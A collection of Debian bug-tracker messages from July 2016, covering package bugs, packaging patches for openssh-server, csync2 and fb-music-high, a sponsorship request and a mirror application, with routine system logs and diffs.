[Marcos Mobley]

there's a plugin that does this.
http://forum.deluge-torrent.org/viewtopic.php?f=9=47501

Bug#832555: lintian: false shlib-with-non-pic-code

[Jakub Wilk]

* Herbert Parentes Fortes Neto , 2016-07-26, 17:03:

libdv4

   E shlib-with-non-pic-code
   usr/lib/i386-linux-gnu/libdv.so.4.0.3


This is true positive, as far as I can tell:

$ readelf -d /usr/lib/i386-linux-gnu/libdv.so.4.0.3 | grep TEXTREL
0x0016 (TEXTREL)0x0


ii  libdv4:amd64


Are you sure you tested on the right architecture? :)

--
Jakub Wilk

Bug#832557: systemctl restart networking hangs reloading ssh.service

[Martin Pitt]

Package: openssh-server
Version: 1:7.2p2-7
Tags: patch
User: ubuntu-de...@lists.ubuntu.com
Usertags: origin-ubuntu ubuntu-patch yakkety

Hello,

In https://launchpad.net/bugs/1584393 it was reported that "systemctl
restart networking" sometimes gets into a deadlock:

   CGroup: /system.slice/networking.service
   ├─1383 /sbin/ifup -a --read-environment
   ├─1479 /sbin/dhclient -1 -v -pf /run/dhclient.enp0s3.pid -lf 
/var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6
   ├─1480 /bin/sh -c /bin/run-parts --exit-on-error /etc/network/if-up.d
   ├─1481 /bin/run-parts --exit-on-error /etc/network/if-up.d
   ├─1504 /bin/sh /etc/network/if-up.d/openssh-server
   ├─1507 /bin/sh /usr/sbin/invoke-rc.d ssh reload
   └─1527 systemctl reload ssh.service

This then waits for each other and only times out after 90s. I cannot
reproduce the hang myself, so I'm not sure why sshd takes so long to
respond. But it was reported that not blocking on reload to finish
fixes this, i. e. ifup -a then finishes quickly, consequently the
"restart networking" does as well, and sshd can then go on.

This is done in the attached patch. Even though I cannot fully explain
what's going on, it cannot hurt to be asynchronous in the if-up.d
hook.

Thanks for considering,

Martin

P.S. Any chance that sshd could start using IP_FREEBIND and avoid the
if-up.d hack altogether?

-- 
Martin Pitt| http://www.piware.de
Ubuntu Developer (www.ubuntu.com)  | Debian Developer  (www.debian.org)
From 14d29a2a7f499245a9e14b217140328c90e07558 Mon Sep 17 00:00:00 2001
From: Martin Pitt 
Date: Tue, 26 Jul 2016 22:11:09 +0200
Subject: [PATCH] debian/openssh-server.if-up: Don't block on a finished reload
 of openssh.service

This avoids deadlocking with restarting networking.

LP: #1584393
---
 debian/changelog| 3 +++
 debian/openssh-server.if-up | 5 ++---
 2 files changed, 5 insertions(+), 3 deletions(-)

diff --git a/debian/changelog b/debian/changelog
index dd6f7dc..a84a581 100644
--- a/debian/changelog
+++ b/debian/changelog
@@ -4,6 +4,9 @@ openssh (1:7.2p2-8) UNRELEASED; urgency=medium
 agent in the user session. Use it in ssh-agent.user-session.upstart.
   * Add systemd user unit for graphical sessions that use systemd. Override
 the corresponding upstart job in that case.
+  * debian/openssh-server.if-up: Don't block on a finished reload of
+openssh.service, to avoid deadlocking with restarting networking.
+(LP: #1584393)
 
  -- Martin Pitt   Mon, 25 Jul 2016 17:01:56 +0200
 
diff --git a/debian/openssh-server.if-up b/debian/openssh-server.if-up
index dd05ea5..915284c 100644
--- a/debian/openssh-server.if-up
+++ b/debian/openssh-server.if-up
@@ -34,10 +34,9 @@ fi
 # the other hand, repeated restarts of ssh make systemd unhappy
 # (#756547/#757822), so use reload in that case.
 if [ -d /run/systemd/system ]; then
-	action=reload
+	systemctl reload --no-block ssh.service >/dev/null 2>&1 || true
 else
-	action=restart
+	invoke-rc.d ssh restart >/dev/null 2>&1 || true
 fi
-invoke-rc.d ssh $action >/dev/null 2>&1 || true
 
 exit 0
-- 
2.8.1



signature.asc
Description: PGP signature

Bug#832551: Acknowledgement (xserver-xorg-core: Various X tools stop working with new xserver-xorg-core)

[raphael truc]

Indeed, downgrading from 2:1.18.4-1 to 2:1.18.3-1 for
xserver-common/xorg-xserver-core/xwayland/xserver-xephyr resolved the
problem

2016-07-26 21:09 GMT+02:00 Debian Bug Tracking System :

> Thank you for filing a new Bug report with Debian.
>
> This is an automatically generated reply to let you know your message
> has been received.
>
> Your message is being forwarded to the package maintainers and other
> interested parties for their attention; they will reply in due course.
>
> Your message has been sent to the package maintainer(s):
>  Debian X Strike Force 
>
> If you wish to submit further information on this problem, please
> send it to 832...@bugs.debian.org.
>
> Please do not send mail to ow...@bugs.debian.org unless you wish
> to report a problem with the Bug-tracking system.
>
> --
> 832551: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=832551
> Debian Bug Tracking System
> Contact ow...@bugs.debian.org with problems
>

Bug#807428: [Debian-ha-maintainers] Bug#807428: csync2: socket activation and running as system user

[Dhionel Díaz]

El 22/06/16 a las 09:00, Dhionel Díaz escribió:
> El 21/06/16 a las 16:36, Ferenc Wágner escribió:
>> Christoph Berg  writes:
>>
>>> Re: Dhionel Díaz 2016-06-21 
>>> <0c44f8f5-4d46-60e7-2bc3-d16956869...@cenditel.gob.ve>
>>>
> What about depending on inetd | systemd-sysv and invoking update-inetd
> only if systemd is not running?
>>>
>>> Doesn't that fail if the system is switched to/from systemd after the
>>> package was already installed?
>>
>> Sure it does.  But if you do both, one (probably inetd, coming later)
>> will fail to bind if systemd manages the socket and also starts inetd.
>> Hmm, maybe you could have the csync2.socket conflict with inet.service
>> to avoid this failure mode...  That would serve csync2 via inetd instead
>> of systemd, which is inefficient, but maybe acceptable.
>>
> Don't forget to depend on update-inetd as well.

 Looks reasonable, in the following days I'll be sending a patch along
 those lines. In a brief exploration I haven't found if there is a
 recommended approach to detect systemd, do you think a test on the exit
 status of 'stat -c %N /proc/1/exe | grep systemd' would be appropriate?
>>>
>>> The canonical test is "test -d /run/systemd/system".
>>
>> Which is also more portable than using /proc.  Not that you could find
>> systemd where procsfs isn't supported...
>>
> What about enabling only one of the options at install time? In that
> way, the conflicts can be avoided.
> 
> In case of a switch to systemd the daemon could still be handled by
> inetd with the same configuration placed at install time, because the
> socket unit would remain disabled. I don't know the details of a switch
> to systemd, but I think that it would also be feasible to switch the
> daemon to systemd socket activation as part of that process, if that is
> considered appropriate. I'm not sure about the case of a switch to
> sysv-init, though. Would systemd remain as a sysv service in that case?
> 

Attached you will find a patch that implements the approach described
above; the socket unit is not enabled at install time, in order to avoid
conflicts. I hope the patch can be useful.

Regards,

-- 
Dhionel Díaz
Centro Nacional de Desarrollo e Investigación en Tecnologías Libres
Ministerio del Poder Popular para
Educación Universitaria, Ciencia y Tecnología
diff -Nru csync2-2.0-8-g175a01c/debian/control csync2-2.0-8-g175a01c/debian/control
--- csync2-2.0-8-g175a01c/debian/control	2016-06-20 06:06:38.0 -0400
+++ csync2-2.0-8-g175a01c/debian/control	2016-07-26 09:15:06.0 -0400
@@ -11,6 +11,7 @@
automake,
bison,
dh-autoreconf,
+   dh-systemd,
flex,
libmysqlclient-dev,
libpq-dev,
@@ -28,7 +29,8 @@
 Depends: ${misc:Depends},
  ${shlibs:Depends},
  netbase (>= 4.25),
- openbsd-inetd | inet-superserver
+ adduser,
+ openbsd-inetd | inet-superserver | systemd-sysv
 Suggests: sqlite3
 Description: cluster synchronization tool
  CSYNC2 synchronizes files in a cluster using the rsync-algorithm.
diff -Nru csync2-2.0-8-g175a01c/debian/cron.d csync2-2.0-8-g175a01c/debian/cron.d
--- csync2-2.0-8-g175a01c/debian/cron.d	2016-06-20 06:06:38.0 -0400
+++ csync2-2.0-8-g175a01c/debian/cron.d	2016-07-26 09:04:01.0 -0400
@@ -19,4 +19,4 @@
 #  along with this program; if not, write to the Free Software
 #  Foundation
 #
-# 0 4 * * * root csync2 -cr / ; csync2 -T  
+# 0 4 * * * csync2 csync2 -cr / ; csync2 -T  
diff -Nru csync2-2.0-8-g175a01c/debian/install csync2-2.0-8-g175a01c/debian/install
--- csync2-2.0-8-g175a01c/debian/install	2016-06-20 06:06:38.0 -0400
+++ csync2-2.0-8-g175a01c/debian/install	2016-07-26 09:04:01.0 -0400
@@ -1 +1,3 @@
 csync2.cfg etc
+debian/systemd/csync2.socket lib/systemd/system
+debian/systemd/csync2@.service lib/systemd/system
diff -Nru csync2-2.0-8-g175a01c/debian/postinst csync2-2.0-8-g175a01c/debian/postinst
--- csync2-2.0-8-g175a01c/debian/postinst	2016-06-20 06:06:38.0 -0400
+++ csync2-2.0-8-g175a01c/debian/postinst	2016-07-26 14:36:08.0 -0400
@@ -20,12 +20,25 @@
 case "$1" in
 configure)
 
-if ! grep -q -s "^csync2" /etc/inetd.conf ; then
+if command -v update-inetd  >/dev/null 2>&1 && ! grep -q -s "^csync2" /etc/inetd.conf ; then
 	update-inetd --remove '^csync2'
-	update-inetd --group OTHER --add \
- 'csync2\t\tstream\ttcp\tnowait\troot\t/usr/sbin/csync2\tcsync2 -i -l'
+	if [ -d /run/systemd/system ] ; then
+	update-inetd --group OTHER --add \
+			'## csync2\t\tstream\ttcp\tnowait\tcsync2\t/usr/sbin/csync2\tcsync2 -i -l'
+	else
+	update-inetd --group OTHER --add \
+			'csync2\t\tstream\ttcp\tnowait\tcsync2\t/usr/sbin/csync2\tcsync2 -i -l'
+	fi
 fi
 
+adduser	--quiet --system --group \
+		--home /var/lib/csync2 --no-create-home \
+		csync2
+if ! dpkg-statoverride --list 

Bug#832556: RFS: wvstreams/4.6.1-10 [QA, RC]

[Gert Wollny]

Package: sponsorship-requests
Severity: important

Dear mentors,

  I am looking for a sponsor for the package "wvstreams"

 * Package name: wvstreams
   Version : 4.6.1-10
   Upstream Author : Net Integration Technologies Inc. et al. 
 * URL : https://github.com/apenwarr/wvstreams/
 * License : LGPL-2.1 
   Section : libs

It builds those binary packages:

 libuniconf4.6 - C++ network libraries for rapid application 
                 development
 libwvstreams-dev - Development libraries and header files for 
                    libwvstreams4.6
 libwvstreams4.6-base - C++ network libraries for rapid application 
                        development
 libwvstreams4.6-doc - Documentation for WvStreams
 libwvstreams4.6-extras - C++ network libraries for rapid application 
                          development
 uniconf-tools - Tools to interface with UniConf
 uniconfd   - Server that manages UniConf elements

To access further information about this package, please visit the
following URL:

  https://mentors.debian.net/package/wvstreams


Alternatively, one can download the package with dget using this
command:

 dget -x https://mentors.debian.net/debian/pool/main/w/wvstreams/wvstre
ams_4.6.1-10.dsc

Changes since the last upload:

  * d/p/gcc-6: Update patch to fix more restrictive interpretation of
the standard by g++-6, Closes: #831146

Note with the upload of Version 4.6.1-9 Gianfranco pointed out to me
that it would be nice to update to dh-autoreconf too. However, on one
hand the package uses nested configure scripts, and I don't know how
this should be handled, and on the other hand, the build scripts
already calls autoheader and autoconf and manually copies the system
versions of config.sub and config.guess. 

In order to not introduce new bugs I prefer to just fix the RC bug and
not change the build system to use dh-autoreconf (I actually tried, but
it didn't really work out).

many thanks,
Gert

Bug#832555: lintian: false shlib-with-non-pic-code

[Herbert Parentes Fortes Neto]

Package: lintian
Version: 2.5.45
Severity: normal

Hi,

libdv 1.0.0-11 has:


libdv4

E shlib-with-non-pic-code
usr/lib/i386-linux-gnu/libdv.so.4.0.3


Here[0] is said:

To check whether a shared library has this problem,
run readelf -d on the shared library. If a tag of
type TEXTREL is present, the shared library contains
non-PIC code.

[0] - https://lintian.debian.org/tags/shlib-with-non-pic-code.html

What I have running 'readelf -d libdv.so.4.0.3':

Dynamic section at offset 0x1a990 contains 25 entries:
  TagType Name/Value
 0x0001 (NEEDED) Shared library: [libm.so.6]
 0x0001 (NEEDED) Shared library: [libc.so.6]
 0x000e (SONAME) Library soname: [libdv.so.4]
 0x000c (INIT)   0x3cc0
 0x000d (FINI)   0x1667c
 0x0019 (INIT_ARRAY) 0x21a970
 0x001b (INIT_ARRAYSZ)   8 (bytes)
 0x001a (FINI_ARRAY) 0x21a978
 0x001c (FINI_ARRAYSZ)   16 (bytes)
 0x6ef5 (GNU_HASH)   0x1f0
 0x0005 (STRTAB) 0x1ba8
 0x0006 (SYMTAB) 0x738
 0x000a (STRSZ)  3594 (bytes)
 0x000b (SYMENT) 24 (bytes)
 0x0003 (PLTGOT) 0x21ab60
 0x0007 (RELA)   0x2bf8
 0x0008 (RELASZ) 4296 (bytes)
 0x0009 (RELAENT)24 (bytes)
 0x0018 (BIND_NOW)   
 0x6ffb (FLAGS_1)Flags: NOW
 0x6ffe (VERNEED)0x2b68
 0x6fff (VERNEEDNUM) 2
 0x6ff0 (VERSYM) 0x29b2
 0x6ff9 (RELACOUNT)  28
 0x (NULL)   0x0

ii  libdv4:amd64   1.0.0-11   amd64
software library for DV format digital video (runtime lib)



regards,
Herbert


-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)

Kernel: Linux 4.6.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=pt_BR.UTF-8, LC_CTYPE=pt_BR.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages lintian depends on:
ii  binutils  2.26.1-1
ii  bzip2 1.0.6-8
ii  diffstat  1.61-1
ii  file  1:5.28-2
ii  gettext   0.19.8.1-1
ii  hardening-includes2.8+nmu2
ii  intltool-debian   0.35.0+20060710.4
ii  libapt-pkg-perl   0.1.29+b5
ii  libarchive-zip-perl   1.57-1
ii  libclass-accessor-perl0.34-1
ii  libclone-perl 0.38-2
ii  libdata-alias-perl1.20-1+b1
ii  libdpkg-perl  1.18.9
ii  libemail-valid-perl   1.200-1
ii  libfile-basedir-perl  0.07-1
ii  libipc-run-perl   0.94-1
ii  liblist-moreutils-perl0.416-1
ii  libparse-debianchangelog-perl 1.2.0-10
ii  libperl5.22 [libdigest-sha-perl]  5.22.2-2
ii  libtext-levenshtein-perl  0.13-1
ii  libtimedate-perl  2.3000-2
ii  liburi-perl   1.71-1
ii  libyaml-libyaml-perl  0.41-6+b1
ii  man-db2.7.5-1
ii  patchutils0.3.4-1
ii  perl  5.22.2-2
ii  t1utils   1.39-2
ii  xz-utils  5.1.1alpha+20120614-2.1

Versions of packages lintian recommends:
ii  dpkg 1.18.9
ii  libperlio-gzip-perl  0.19-1+b1
ii  perl 5.22.2-2
ii  perl-modules-5.22 [libautodie-perl]  5.22.2-2

Versions of packages lintian suggests:
pn  binutils-multiarch 
ii  dpkg-dev   1.18.9
ii  libhtml-parser-perl3.72-2
ii  libtext-template-perl  1.46-1

-- no debconf information

Bug#176058: [openssl.org #447] [Fwd: Bug#176058: openssl: Should ask password only after basic input validation]

[Sebastian Andrzej Siewior]

Version: 1.1.0~pre5-5

On 2003-01-13 18:47:28 [+0100], Florian Weimer wrote:
> "Richard Levitte via RT"  writes:
> 
> "openssl ca" is one of them, and probably the most cumbersome.
> "openssl req -new -out $FILE" does not verify that $FILE is a writable
> file.

since exp:
|$ openssl req -new -out das
|req: Cannot open output file das, Permission denied
|req: Use -help for summary.

However for ca the situation is slightly different:
  openssl req -new -x509 -days 7 -config test.cnf -keyform PEM -keyout \
  private/cakey.pem -outform PEM -out certs/cacert.pem

will bail out before asking for password if cakey.pem can not be
created _but_ after it ate entropy and craeted a RSA key. And then it
will complain if it can't create cacert.pem

But since it won't ask for a password before doing any work I count it
as win and close the as fixed :)

The upstream bug was rejected because people might rely on existing
behaviour. If you *plan* on getting changes here (like first check
permissions for output files then create the key and as for pass) I
suggest to ask for it (with a patch :) ) before 1.1.0 is done.

Sebastian

Bug#832554: guvcview: Video image doesn't display on DISPLAY on which it was started.

[Robert L. Frazier]

Package: guvcview
Version: 2.0.4+debian-1
Severity: normal

Dear Maintainer,

For X11 I am using ZaphodHeads.  If I start guvcview on :0.1
the control panel is displayed on :0.1, but the video image
is displayed on :0.0.   If I start guvcview on :0.0, both the
control panel and video image are displayed on it.

I just updated from stable to testing.  It worked as expected
on stable with both the control panel and video image on the
DISPLAY on which it was started.

Best wishes,
Bob



-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (900, 'testing')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.6.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) (ignored:
LC_ALL set to en_GB.UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages guvcview depends on:
ii  libatk1.0-0  2.20.0-1
ii  libc62.23-2
ii  libcairo-gobject21.14.6-1+b1
ii  libcairo21.14.6-1+b1
ii  libgcc1  1:6.1.1-9
ii  libgdk-pixbuf2.0-0   2.34.0-1
ii  libglib2.0-0 2.48.1-2
ii  libgtk-3-0   3.20.6-2
ii  libguvcview-2.0-22.0.4+debian-1
ii  libpango-1.0-0   1.40.1-1
ii  libpangocairo-1.0-0  1.40.1-1
ii  libstdc++6   6.1.1-9

Versions of packages guvcview recommends:
ii  uvcdynctrl  0.2.4-1.1

guvcview suggests no packages.

-- no debconf information

Bug#832037: fonts-dejavu: DejaVu Condensed broken after upgrade to 2.36-1

[M G Berberich]

Package: fonts-dejavu-extra
Version: 2.36-1
Followup-For: Bug #832037

Dear Maintainer,

I can confirm the bug.

After installing fonts-dejavu-extra_2.36-1_all.deb kde-fontselection
(kcmshell5 fonts) is broken.

-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.7.0 (SMP w/8 CPU cores; PREEMPT)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages fonts-dejavu-extra depends on:
ii  fonts-dejavu-core  2.35-1

fonts-dejavu-extra recommends no packages.

fonts-dejavu-extra suggests no packages.

-- no debconf information

Bug#832553: base: Create Admin User Password Paradox

[Dan Escudero]

Package: base
Severity: important

Dear Maintainer,

I have recently installed jessie on my laptop. Everything was going fine
until I tried to create a new admin user. When I created this new admin user, I
selected the "Set password on next login" option.
This new admin user credential, which had NO PASSWORD set, superceded my
sudo/root password; when I attempted to unlock the users, the system asked for
the new admin password (which had never been set!) and would not accept any
other options. I was effectively locked out of my own admin privileges.
Failed work-around: I logged out and attempted to login to my new admin user
account so I could set the first-time password. Upon so doing, the bloody thing
asks me for a password!!! I spent the next fifteen minutes cursing and reeling
at the ludicrous paradox I was sure only I could find myself in.
Successful work-around:
Step 1: In Recovery Mode (as root): useradd Danny2 --group sudo; passwd Danny2
[...]
*** The offending passwordless admin user account had to be removed.
Step 2: userdel Danny
Lessons learned: do not click the box that says “Set password on next
login”. It's a trick.



-- System Information:
Debian Release: 8.5
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 3.16.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8)

Bug#819572: logwatch: redundant argument in sprintf at .../amavis line 1338, <> line 321 message

[Nayr]

Willi,
Here is an expert from my syslog:

2017-07-25T07:35:11.989697-04:00 es amavis[2996]: (02996-19) Passed
CLEAN {RelayedInternal}, LOCAL [172.16.128.4]:44360  -> 
, Queue-ID: 63606682, Message-ID: 
<1469446507.534961.30069.nullmai...@delta.int.nayr.us>, mail_id: Bvdqd7Xz0RXg, 
Hits: -, size: 5565, queued_as: E036B928, 319 ms
2016-07-25T08:47:51.675793-04:00 es amavis[2993]: (02993-19) Passed
CLEAN {RelayedInternal}, LOCAL [172.16.128.2]:42626  -> 
, Queue-ID: 45BED2B8, Message-ID: 
<1469450867.652585.6873.nullmai...@beta.int.nayr.us>, mail_id: YRL_5kw6J4JR, 
Hits: -, size: 10470, queued_as: 9B9D4682, 227 ms
2016-07-25T08:49:01.181906-04:00 es amavis[15206]: (15206-01) Passed
CLEAN {RelayedInternal}, LOCAL [172.16.129.25]:34222  -> 
, Queue-ID: B2EF02B8, Message-ID: 
<1469450937.153899.939.nullmai...@mn.int.nayr.us>, mail_id: 92m6BLhjiMvn, Hits: 
-, size: 2664, queued_as: 1F755682, 282 ms
2016-07-25T08:53:47.444722-04:00 es amavis[22850]: (22850-01) Passed
CLEAN {RelayedInternal}, LOCAL [172.16.128.2]:42642  -> 
, Queue-ID: F1FEC2B8, Message-ID: 
<1469451223.356443.8484.nullmai...@beta.int.nayr.us>, mail_id: I5RabSackLxc, 
Hits: -, size: 1276, queued_as: 604B4682, 240 ms
2016-07-25T08:55:30.847177-04:00 es amavis[15206]: (15206-02) Passed
CLEAN {RelayedInternal}, LOCAL [172.16.128.17]:56970  -> 
, Queue-ID: 190432B8, Message-ID: 
<1469451325.811469.6298.nullmai...@rho.int.nayr.us>, mail_id: Wc4Bl_0mCURF, 
Hits: -, size: 6626, queued_as: AFB86928, 444 ms
2016-07-25T09:18:01.247015-04:00 es CRON[25959]: (amavis) CMD (test
-e /usr/sbin/amavisd-new-cronjob && /usr/sbin/amavisd-new-cronjob sa-sync)
2016-07-25T10:25:43.671380-04:00 es amavis[22850]: (22850-02) Passed
CLEAN {RelayedInbound}, [82.195.75.100]:54477 
[2001:41b8:202:deb:216:36ff:fe40:4001] 

Bug#832552: Official Mirror Application - Singapore, SG - ftp.sg.d.o

[Donald Norwood]

Package: mirrors
Severity: minor
User: mirr...@packages.debian.org
Usertags: mirror-list
Control: submitter -1  Andrew Yong 

 Forwarded Message 
Subject: Official Mirror Application - Singapore, SG
Date: Fri, 8 Jul 2016 10:56:23 +0800
From: Andrew Yong 
To: mirr...@debian.org

Hi Debian mirror admins,

My mirror at rsync/ftp/http://mirror.0x.sg/debian/ (and
debian-backports, debian-cd) of all architectures has been serving
Debian for several years now, and I have an excess of bandwidth that I
believe would be a great addition to the official country mirrors
pool, especially factoring in that Southeast Asia is generally lacking
in reliable, high-speed mirrors available over more than just HTTP.

Criteria met:
Yes - The mirror should be registered (using our mirror submission form).
Yes - The site should be reliable and be up 24 hours a day. The
machine should not be heavily loaded.
Yes, 10Gbps symmetric local loop and majority NTT advertised prefixes
- It should have a decent connectivity (relative to the respective
country). Bandwidth equivalent to a 100Mbps connection or better is
preferred; note that for developed countries, this minimum is much
higher.
Yes - The routers in front of the server shouldn't have any global
access bans or major limitations of bandwidth.
Yes, not limited except automatic abuse blacklisting - The server
needs to be able to sustain the traffic, i.e. have reasonable limits
on the HTTP, FTP and rsync daemons, including tuning the maximum
number of connections in general and the maximum number of connections
from a single IP.
Yes, at least 20% free space out of a 36TB volume -Disk space
commitments (with room for expansion) — see the mirror size page.
Yes - The whole Debian archive should be mirrored.
Yes - The mirror hierarchy should be available under /debian.
Rationale: for consistency between sites — you may simply place a
symlink if you want to keep the mirror somewhere else, or set up a
virtual host.
The mirror should be made available at least via these protocols:
Yes - HTTP (http://mirror.0x.sg/debian/)
HTTP is used because with HTTP/1.1 transfers have the potential of
being more efficient than with FTP.
Yes - FTP (ftp://mirror.0x.sg/debian/)
FTP is the most senior protocol, and still very widely used.
Yes - rsync (rsync://mirror.0x.sg::debian/)
Rsync is the preferred method of mirroring, and one of the main
functions of an official mirror is to help the proliferation of
secondary mirrors.
Yes - The mirror should be updated with ftpsync, a script which
provides many required functions.
This can be arranged - please assist to provide a contact, preferably
CUHK push over IPv6 - Push mirroring needs to be set up; feel free to
contact us to get in touch with the maintainer of another mirror.

Andrew





signature.asc
Description: OpenPGP digital signature

Bug#817450: fb-music-high: Removal of debhelper compat 4

[Logan Rosen]

Control: tags -1 patch

Dear Maintainer,

In Ubuntu, the attached patch was applied to achieve the following:

  * debian/rules: Convert to dh sequencer.
  * debian/compat: Indicate compatibility level of 9.
  * debian/control:
- Build-depend on debhelper (>= 9).
- Depend on ${misc:Depends}.
- Move homepage to its own field.
  * debian/copyright: Don't point to symlink GPL.

Thanks for considering the patch.

Logan Rosen
diff -Nru fb-music-high-0.1.2/debian/compat fb-music-high-0.1.2ubuntu1/debian/compat
--- fb-music-high-0.1.2/debian/compat	1969-12-31 19:00:00.0 -0500
+++ fb-music-high-0.1.2ubuntu1/debian/compat	2016-07-26 15:06:36.0 -0400
@@ -0,0 +1 @@
+9
diff -Nru fb-music-high-0.1.2/debian/control fb-music-high-0.1.2ubuntu1/debian/control
--- fb-music-high-0.1.2/debian/control	2006-10-26 18:45:01.0 -0400
+++ fb-music-high-0.1.2ubuntu1/debian/control	2016-07-26 15:13:07.0 -0400
@@ -2,11 +2,13 @@
 Section: games
 Priority: extra
 Maintainer: Josselin Mouette 
-Build-Depends: debhelper (>= 4)
+Build-Depends: debhelper (>= 9)
 Standards-Version: 3.7.2
+Homepage: http://www.frozen-bubble.org/
 
 Package: fb-music-high
 Architecture: all
+Depends: ${misc:Depends}
 Recommends: frozen-bubble
 Conflicts: fb-music-low, frozen-bubble (<< 2)
 Description: High quality, large music files for Frozen-Bubble
@@ -16,5 +18,3 @@
  This package contains high quality music for Frozen-Bubble. The 16-bit
  samples used sound better than the 8-bit ones in fb-music-low, but are
  about twice as large.
- .
- URL: http://www.frozen-bubble.org/
diff -Nru fb-music-high-0.1.2/debian/copyright fb-music-high-0.1.2ubuntu1/debian/copyright
--- fb-music-high-0.1.2/debian/copyright	2003-01-23 10:53:17.0 -0500
+++ fb-music-high-0.1.2ubuntu1/debian/copyright	2016-07-26 15:12:30.0 -0400
@@ -10,4 +10,4 @@
 You are free to distribute this software under the terms of
 the GNU General Public License, version 2 or later.
 On Debian systems, the complete text of the GNU General Public
-License can be found in /usr/share/common-licenses/GPL file.
+License can be found in /usr/share/common-licenses/GPL-2 file.
diff -Nru fb-music-high-0.1.2/debian/rules fb-music-high-0.1.2ubuntu1/debian/rules
--- fb-music-high-0.1.2/debian/rules	2003-01-23 10:55:01.0 -0500
+++ fb-music-high-0.1.2ubuntu1/debian/rules	2016-07-26 15:06:28.0 -0400
@@ -1,43 +1,3 @@
 #!/usr/bin/make -f
-
-# Uncomment this to turn on verbose mode. 
-#export DH_VERBOSE=1
-
-# This is the debhelper compatability version to use.
-export DH_COMPAT=4
-
-build:
-	dh_testdir
-
-clean:
-	dh_testdir
-	dh_testroot
-	dh_clean
-
-install:
-	dh_testdir
-	dh_testroot
-	dh_install
-
-# Build architecture-independent files here.
-# Pass -i to all debhelper commands in this target to reduce clutter.
-binary-indep: build install
-	dh_testdir
-	dh_testroot
-	dh_installdocs
-	dh_installchangelogs
-	dh_installexamples
-	dh_link
-	dh_compress
-	dh_fixperms
-	dh_installdeb
-	dh_gencontrol
-	dh_md5sums
-	dh_builddeb
-
-# Build architecture-dependent files here.
-binary-arch: build install
-# We have nothing to do by default
-
-binary: binary-indep binary-arch
-.PHONY: build clean binary-indep binary-arch binary install
+%:
+	dh $@

Bug#832551: xserver-xorg-core: Various X tools stop working with new xserver-xorg-core

[raphael]

Package: xserver-xorg-core
Version: 2:1.18.4-1
Severity: important

Dear Maintainer,

Hi, since yesterday, along with xserver-common and xwayland upgrade, xbindkeys 
stops working with

- W: awesome: xerror:881: X error: request=GrabKey (major 33, minor 0), 
error=BadAccess (10)
- xbacklight -dec 10 gives "No outputs have backlight property"
And maybe others, but haven't seen yet
As neither awesome, xbindkeys or xbacklight have changed, I assume it must be X 
related (even if a libc6 upgrade has happened in the same time).
I'll try to downgrade to see if it's working better
Thanks

Raphael

-- Package-specific info:
X server symlink status:

lrwxrwxrwx 1 root root 13 Mar  4  2015 /etc/X11/X -> /usr/bin/Xorg
-rwxr-xr-x 1 root root 274 Jul 20 05:00 /usr/bin/Xorg

VGA-compatible devices on PCI bus:
--
00:02.0 VGA compatible controller [0300]: Intel Corporation Core Processor 
Integrated Graphics Controller [8086:0046] (rev 02)
01:00.0 VGA compatible controller [0300]: NVIDIA Corporation GT216M [GeForce GT 
330M] [10de:0a2b] (rev a2)

/etc/X11/xorg.conf does not exist.

Contents of /etc/X11/xorg.conf.d:
-
total 4
-rw-r--r-- 1 root root 1247 Apr 30 22:55 10-synaptics.conf

/etc/modprobe.d contains no KMS configuration files.

Kernel version (/proc/version):
---
Linux version 4.6.0-1-amd64 (debian-ker...@lists.debian.org) (gcc version 5.4.0 
20160609 (Debian 5.4.0-6) ) #1 SMP Debian 4.6.4-1 (2016-07-18)

Xorg X server log files on system:
--
-rw-r--r-- 1 root root 36245 Jul 26 20:44 /var/log/Xorg.0.log

Contents of most recent Xorg X server log file (/var/log/Xorg.0.log):
-
[ 9.639] 
X.Org X Server 1.18.4
Release Date: 2016-07-19
[ 9.639] X Protocol Version 11, Revision 0
[ 9.639] Build Operating System: Linux 3.16.0-4-amd64 x86_64 Debian
[ 9.639] Current Operating System: Linux palikao 4.6.0-1-amd64 #1 SMP 
Debian 4.6.4-1 (2016-07-18) x86_64
[ 9.639] Kernel command line: BOOT_IMAGE=/boot/vmlinuz-4.6.0-1-amd64 
root=UUID=33ecf725-aba1-4d6b-922a-bd2e0fdac97d ro quiet splash acpi_osi=Linux 
acpi_backlight=vendor init=/lib/sysvinit/init init=/lib/sysvinit/init 
init=/sbin/openrc init=/lib/sysvinit/init init=/lib/sysvinit/init 
init=/lib/sysvinit/init init=/lib/sysvinit/init init=/lib/sysvinit/init 
init=/lib/sysvinit/init init=/lib/sysvinit/init init=/lib/sysvinit/init 
init=/lib/sysvinit/init
[ 9.639] Build Date: 20 July 2016  05:14:41AM
[ 9.639] xorg-server 2:1.18.4-1 (http://www.debian.org/support) 
[ 9.639] Current version of pixman: 0.33.6
[ 9.639]Before reporting problems, check http://wiki.x.org
to make sure that you have the latest version.
[ 9.639] Markers: (--) probed, (**) from config file, (==) default setting,
(++) from command line, (!!) notice, (II) informational,
(WW) warning, (EE) error, (NI) not implemented, (??) unknown.
[ 9.639] (==) Log file: "/var/log/Xorg.0.log", Time: Tue Jul 26 20:41:46 
2016
[ 9.654] (==) Using config directory: "/etc/X11/xorg.conf.d"
[ 9.654] (==) Using system config directory "/usr/share/X11/xorg.conf.d"
